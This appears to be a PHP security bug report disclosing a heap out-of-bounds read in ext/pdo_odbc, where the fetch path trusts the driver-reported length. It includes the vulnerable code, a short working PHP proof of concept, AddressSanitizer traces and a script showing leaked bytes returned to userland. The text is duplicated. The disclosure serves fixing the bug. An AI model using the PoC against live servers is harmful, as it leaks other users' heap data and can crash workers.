Description
Summary
ext/pdo_odbc binds a fixed-size buffer for each "short" result column based on the display size the ODBC driver reports at describe time, but on fetch it trusts the driver-reported value length (fetched_len) unconditionally when building the PHP string. When the actual column value is longer than the bound buffer, the ODBC driver truncates the data into the buffer and reports the full, untruncated length in the indicator (the standard ODBC SQL_SUCCESS_WITH_INFO / SQLSTATE 01004 "string data, right truncated" contract). PHP then calls ZVAL_STRINGL_FAST() with that full length and reads past the end of the bound heap buffer.
The over-read bytes are returned to userland as the column's string value, so this is a heap memory disclosure (adjacent heap contents leak into the PHP value) that can also crash the process. It is reachable with an ordinary, non-malicious ODBC driver (verified with the standard SQLite3 ODBC driver) through a plain new PDO('odbc:...') connection and PDOStatement::fetch(), and requires no malicious local driver, FFI, callback, or object-lifecycle misuse — only that a fetched column value exceeds the driver-reported display size. The amount disclosed scales with the size of the value (a stored 1 MiB value over-reads ~1 MiB of heap).
This is the same class of bug as CVE-2024-8929 (mysqlnd heap over-read leaking heap memory through an attacker-influenced length), which was rated High. It is the PDO counterpart of the over-read in the classic ext/odbc extension.
Details
At describe time, odbc_stmt_describe() reads the column display size and, for columns it treats as "short" (colsize < 256), allocates colsize + 1 bytes and binds that buffer with SQLBindCol(), passing &S->cols[colno].fetched_len as the indicator pointer:
ext/pdo_odbc/odbc_stmt.c (around lines 614–630):
colsize = displaysize;
col->maxlen = S->cols[colno].datalen = colsize;
col->name = zend_string_init(S->cols[colno].colname, colnamelen, 0);
S->cols[colno].is_unicode = pdo_odbc_sqltype_is_unicode(S, S->cols[colno].coltype);
/* tell ODBC to put it straight into our buffer, but only if it
* isn't "long" data, and only if we haven't already bound a long
* column. */
if (colsize < 256 && !S->going_long) {
S->cols[colno].data = emalloc(colsize+1);
S->cols[colno].is_long = 0;
rc = SQLBindCol(S->stmt, colno+1,
S->cols[colno].is_unicode ? SQL_C_BINARY : SQL_C_CHAR,
S->cols[colno].data,
S->cols[colno].datalen+1, &S->cols[colno].fetched_len);
...
On fetch, odbc_stmt_get_col() reaches the in_data path for a short (bound) column and checks fetched_len only against the SQL_NULL_DATA sentinel and for being negative, then passes it straight to ZVAL_STRINGL_FAST() without verifying that it fits inside the colsize + 1 buffer:
ext/pdo_odbc/odbc_stmt.c (around lines 739–751):
in_data:
/* check the indicator to ensure that the data is intact */
if (C->fetched_len == SQL_NULL_DATA) {
/* A NULL value */
ZVAL_NULL(result);
return 1;
} else if (C->fetched_len >= 0) {
/* it was stored perfectly */
ZVAL_STRINGL_FAST(result, C->data, C->fetched_len); // <-- reads fetched_len bytes from a (colsize+1) buffer
...
When the stored value is longer than colsize + 1, a conforming driver:
- copies only
colsize + 1 bytes (truncated, NUL-terminated) into C->data, and
- sets
C->fetched_len to the full length the value would have needed, returning SQL_SUCCESS_WITH_INFO.
PHP does not look at the return code or compare fetched_len against the bound capacity (the "check the indicator to ensure that the data is intact" comment only guards SQL_NULL_DATA / negative), so ZVAL_STRINGL_FAST(C->data, C->fetched_len) reads fetched_len - (colsize + 1) bytes past the end of the heap allocation. The over-read bytes become the PHP string value returned to the caller.
The "long" column path (is_long / going_long, taken when colsize >= 256) uses an SQLGetData() reassembly loop and is not affected; the bug is specifically in the short-bound path above, which is taken for any column whose driver-reported display size is < 256 but whose actual value is larger.
The same code path is present on the current master branch (verified 2026-04-13): the short-bound in_data path still does ZVAL_STRINGL_FAST(result, C->data, C->fetched_len) with no clamp against the bound capacity. The 2025 rewrite that fetches long columns in larger blocks (GH-10809) only changed the is_long path and did not add a bound check to the short-bound case.
PoC
Environment:
- PHP 8.4.20 (CLI), built with
--enable-debug and AddressSanitizer (CFLAGS="-fsanitize=address -g -O0"), PDO_ODBC enabled.
- unixODBC 2.3.9.
- The ordinary SQLite3 ODBC driver from Ubuntu 22.04
libsqliteodbc (/etc/odbcinst.ini):
[SQLite3]
Description=SQLite3 ODBC Driver
Driver=libsqlite3odbc.so
Setup=libsqlite3odbc.so
PoC script (pdoodbc001.php). The 257-byte expression result is bound into a 256-byte buffer, so the fetch over-reads by one byte; the same bug scales to megabytes with a stored value:
<?php
$pdo = new PDO('odbc:Driver=SQLite3;Database=/tmp/odbc_audit.sqlite');
$stmt = $pdo->query("SELECT printf('%.*c', 257, 'A') AS data");
$stmt->fetch(PDO::FETCH_ASSOC);
Run:
ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1 \
UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1 \
php pdoodbc001.php
Full AddressSanitizer output:
=================================================================
==1135653==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5110000175c0 at pc 0x7f4ea7598397 bp 0x7ffd4c05aff0 sp 0x7ffd4c05a798
READ of size 257 at 0x5110000175c0 thread T0
#0 0x7f4ea7598396 in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827
#1 0x5618febb1fca in zend_string_init /src/php/Zend/zend_string.h:200
#2 0x5618febb20c1 in zend_string_init_fast /src/php/Zend/zend_string.h:208
#3 0x5618febbc358 in odbc_stmt_get_col /src/php/ext/pdo_odbc/odbc_stmt.c:747
#4 0x5618fec10dff in fetch_value /src/php/ext/pdo/pdo_stmt.c:502
#5 0x5618fec1634b in do_fetch /src/php/ext/pdo/pdo_stmt.c:913
#6 0x5618fec1aee8 in zim_PDOStatement_fetch /src/php/ext/pdo/pdo_stmt.c:1167
#7 0x5618ffd660b7 in ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_HANDLER /src/php/Zend/zend_vm_execute.h:1907
#8 0x561900062dbb in execute_ex /src/php/Zend/zend_vm_execute.h:58941
#9 0x56190008282d in zend_execute /src/php/Zend/zend_vm_execute.h:64328
#10 0x56190031ea0d in zend_execute_script /src/php/Zend/zend.c:1934
#11 0x5618ff7b88ab in php_execute_script_ex /src/php/main/main.c:2577
#12 0x5618ff7b8e41 in php_execute_script /src/php/main/main.c:2617
#13 0x561900326ff5 in do_cli /src/php/sapi/cli/php_cli.c:935
#14 0x561900329b87 in main /src/php/sapi/cli/php_cli.c:1310
#15 0x7f4ea0808d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f)
#16 0x7f4ea0808e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f)
#17 0x5618fdc0f2e4 in _start (/src/php/sapi/cli/php+0x360f2e4)
0x5110000175c0 is located 0 bytes to the right of 256-byte region [0x5110000174c0,0x5110000175c0)
allocated by thread T0 here:
#0 0x7f4ea7612887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x5618ffb2efa1 in __zend_malloc /src/php/Zend/zend_alloc.c:3294
#2 0x5618ffb29abd in _emalloc /src/php/Zend/zend_alloc.c:2740
#3 0x5618febba430 in odbc_stmt_describe /src/php/ext/pdo_odbc/odbc_stmt.c:624
#4 0x5618fec09d08 in pdo_stmt_describe_columns /src/php/ext/pdo/pdo_stmt.c:135
#5 0x5618febfd3be in zim_PDO_query /src/php/ext/pdo/pdo_dbh.c:1231
#6 0x5618ffd67cf7 in ZEND_DO_FCALL_SPEC_RETVAL_USED_HANDLER /src/php/Zend/zend_vm_execute.h:2025
#7 0x561900062e2e in execute_ex /src/php/Zend/zend_vm_execute.h:58946
#8 0x56190008282d in zend_execute /src/php/Zend/zend_vm_execute.h:64328
#9 0x56190031ea0d in zend_execute_script /src/php/Zend/zend.c:1934
#10 0x5618ff7b88ab in php_execute_script_ex /src/php/main/main.c:2577
#11 0x5618ff7b8e41 in php_execute_script /src/php/main/main.c:2617
#12 0x561900326ff5 in do_cli /src/php/sapi/cli/php_cli.c:935
#13 0x561900329b87 in main /src/php/sapi/cli/php_cli.c:1310
#14 0x7f4ea0808d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f)
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827 in __interceptor_memcpy
Aborted
The same crash reproduces, with a correspondingly larger READ of size N, when the oversized value is stored data rather than an expression — for example a 1 MiB BLOB/TEXT value stored in an ordinary table and then selected and fetched. In that case the over-read is ~1 MiB past the bound buffer.
Confirmation that the over-read bytes reach userland
Running the same fetch with ASAN_OPTIONS=halt_on_error=0 so ASAN reports the over-read but lets execution continue, then inspecting the returned value:
<?php
$pdo = new PDO('odbc:Driver=SQLite3;Database=/tmp/odbc_audit.sqlite');
$stmt = $pdo->query("SELECT printf('%.*c', 320, 'A') AS data"); // full value = 320 'A'
$row = $stmt->fetch(PDO::FETCH_ASSOC);
$s = $row['data'];
fwrite(STDERR, "returned strlen : " . strlen($s) . "\n");
fwrite(STDERR, "count of 'A' : " . substr_count($s, 'A') . "\n");
fwrite(STDERR, "non-value bytes : " . (strlen($s) - substr_count($s, 'A')) . "\n");
Output (with ASAN_OPTIONS=detect_leaks=0:halt_on_error=0:abort_on_error=0):
==...==ERROR: AddressSanitizer: heap-buffer-overflow ...
READ of size 320 at 0x... thread T0
...
returned strlen : 320
count of 'A' : 255
non-value bytes : 65
The bound buffer holds only the truncated value (255 A bytes), but the PHP string handed back to the application is fetched_len = 320 bytes long, so 65 bytes that are not part of the queried value are read from beyond the bound buffer and returned to userland as the column value. Any PHP code reading the column receives those out-of-bounds bytes.
Note on observed content: under this AddressSanitizer build the 65 out-of-bounds bytes read back as zero, because ASAN surrounds each allocation with a poisoned red-zone. In a normal (non-ASAN) build the Zend allocator packs allocations of the same size class together without red-zones, so the same over-read returns the contents of adjacent live heap allocations (e.g. data left by previous requests in a long-running FPM worker) — the same memory-disclosure behavior described for the analogous mysqlnd over-read in CVE-2024-8929.
Impact
This is an out-of-bounds heap read (CWE-125) that results in disclosure of adjacent heap memory (CWE-200) and can also crash the process (denial of service).
Who is impacted: any application that uses ext/pdo_odbc to fetch result rows and where a fetched column value can exceed the display size the driver reports for that column. The triggering value is data flowing through the result set, so the attacker only needs the ability to influence a stored/returned column value (for example a value written earlier through a low-privileged path, or a value returned by a malicious/compromised database endpoint) — no control over the application's PHP code, the ODBC driver, or call ordering is required. Because the over-read bytes are returned to userland as the string value, an attacker who can read that value back obtains a direct heap memory leak whose size scales with the supplied value length; the same condition can crash a long-running worker, affecting availability.
PHP Version
Operating System
ubuntu22.04
Description
Summary
ext/pdo_odbcbinds a fixed-size buffer for each "short" result column based on the display size the ODBC driver reports at describe time, but on fetch it trusts the driver-reported value length (fetched_len) unconditionally when building the PHP string. When the actual column value is longer than the bound buffer, the ODBC driver truncates the data into the buffer and reports the full, untruncated length in the indicator (the standard ODBCSQL_SUCCESS_WITH_INFO/ SQLSTATE01004"string data, right truncated" contract). PHP then callsZVAL_STRINGL_FAST()with that full length and reads past the end of the bound heap buffer.The over-read bytes are returned to userland as the column's string value, so this is a heap memory disclosure (adjacent heap contents leak into the PHP value) that can also crash the process. It is reachable with an ordinary, non-malicious ODBC driver (verified with the standard SQLite3 ODBC driver) through a plain
new PDO('odbc:...')connection andPDOStatement::fetch(), and requires no malicious local driver, FFI, callback, or object-lifecycle misuse — only that a fetched column value exceeds the driver-reported display size. The amount disclosed scales with the size of the value (a stored 1 MiB value over-reads ~1 MiB of heap).This is the same class of bug as CVE-2024-8929 (mysqlnd heap over-read leaking heap memory through an attacker-influenced length), which was rated High. It is the PDO counterpart of the over-read in the classic
ext/odbcextension.Details
At describe time,
odbc_stmt_describe()reads the column display size and, for columns it treats as "short" (colsize < 256), allocatescolsize + 1bytes and binds that buffer withSQLBindCol(), passing&S->cols[colno].fetched_lenas the indicator pointer:ext/pdo_odbc/odbc_stmt.c(around lines 614–630):On fetch,
odbc_stmt_get_col()reaches thein_datapath for a short (bound) column and checksfetched_lenonly against theSQL_NULL_DATAsentinel and for being negative, then passes it straight toZVAL_STRINGL_FAST()without verifying that it fits inside thecolsize + 1buffer:ext/pdo_odbc/odbc_stmt.c(around lines 739–751):When the stored value is longer than
colsize + 1, a conforming driver:colsize + 1bytes (truncated, NUL-terminated) intoC->data, andC->fetched_lento the full length the value would have needed, returningSQL_SUCCESS_WITH_INFO.PHP does not look at the return code or compare
fetched_lenagainst the bound capacity (the "check the indicator to ensure that the data is intact" comment only guardsSQL_NULL_DATA/ negative), soZVAL_STRINGL_FAST(C->data, C->fetched_len)readsfetched_len - (colsize + 1)bytes past the end of the heap allocation. The over-read bytes become the PHP string value returned to the caller.The "long" column path (
is_long/going_long, taken whencolsize >= 256) uses anSQLGetData()reassembly loop and is not affected; the bug is specifically in the short-bound path above, which is taken for any column whose driver-reported display size is< 256but whose actual value is larger.The same code path is present on the current
masterbranch (verified 2026-04-13): the short-boundin_datapath still doesZVAL_STRINGL_FAST(result, C->data, C->fetched_len)with no clamp against the bound capacity. The 2025 rewrite that fetches long columns in larger blocks (GH-10809) only changed theis_longpath and did not add a bound check to the short-bound case.PoC
Environment:
--enable-debugand AddressSanitizer (CFLAGS="-fsanitize=address -g -O0"),PDO_ODBCenabled.libsqliteodbc(/etc/odbcinst.ini):PoC script (
pdoodbc001.php). The 257-byte expression result is bound into a 256-byte buffer, so the fetch over-reads by one byte; the same bug scales to megabytes with a stored value:Run:
Full AddressSanitizer output:
The same crash reproduces, with a correspondingly larger
READ of size N, when the oversized value is stored data rather than an expression — for example a 1 MiBBLOB/TEXTvalue stored in an ordinary table and then selected and fetched. In that case the over-read is ~1 MiB past the bound buffer.Confirmation that the over-read bytes reach userland
Running the same fetch with
ASAN_OPTIONS=halt_on_error=0so ASAN reports the over-read but lets execution continue, then inspecting the returned value:Output (with
ASAN_OPTIONS=detect_leaks=0:halt_on_error=0:abort_on_error=0):The bound buffer holds only the truncated value (255
Abytes), but the PHP string handed back to the application isfetched_len= 320 bytes long, so 65 bytes that are not part of the queried value are read from beyond the bound buffer and returned to userland as the column value. Any PHP code reading the column receives those out-of-bounds bytes.Note on observed content: under this AddressSanitizer build the 65 out-of-bounds bytes read back as zero, because ASAN surrounds each allocation with a poisoned red-zone. In a normal (non-ASAN) build the Zend allocator packs allocations of the same size class together without red-zones, so the same over-read returns the contents of adjacent live heap allocations (e.g. data left by previous requests in a long-running FPM worker) — the same memory-disclosure behavior described for the analogous mysqlnd over-read in CVE-2024-8929.
Impact
This is an out-of-bounds heap read (CWE-125) that results in disclosure of adjacent heap memory (CWE-200) and can also crash the process (denial of service).
Who is impacted: any application that uses
ext/pdo_odbcto fetch result rows and where a fetched column value can exceed the display size the driver reports for that column. The triggering value is data flowing through the result set, so the attacker only needs the ability to influence a stored/returned column value (for example a value written earlier through a low-privileged path, or a value returned by a malicious/compromised database endpoint) — no control over the application's PHP code, the ODBC driver, or call ordering is required. Because the over-read bytes are returned to userland as the string value, an attacker who can read that value back obtains a direct heap memory leak whose size scales with the supplied value length; the same condition can crash a long-running worker, affecting availability.PHP Version
Operating System
ubuntu22.04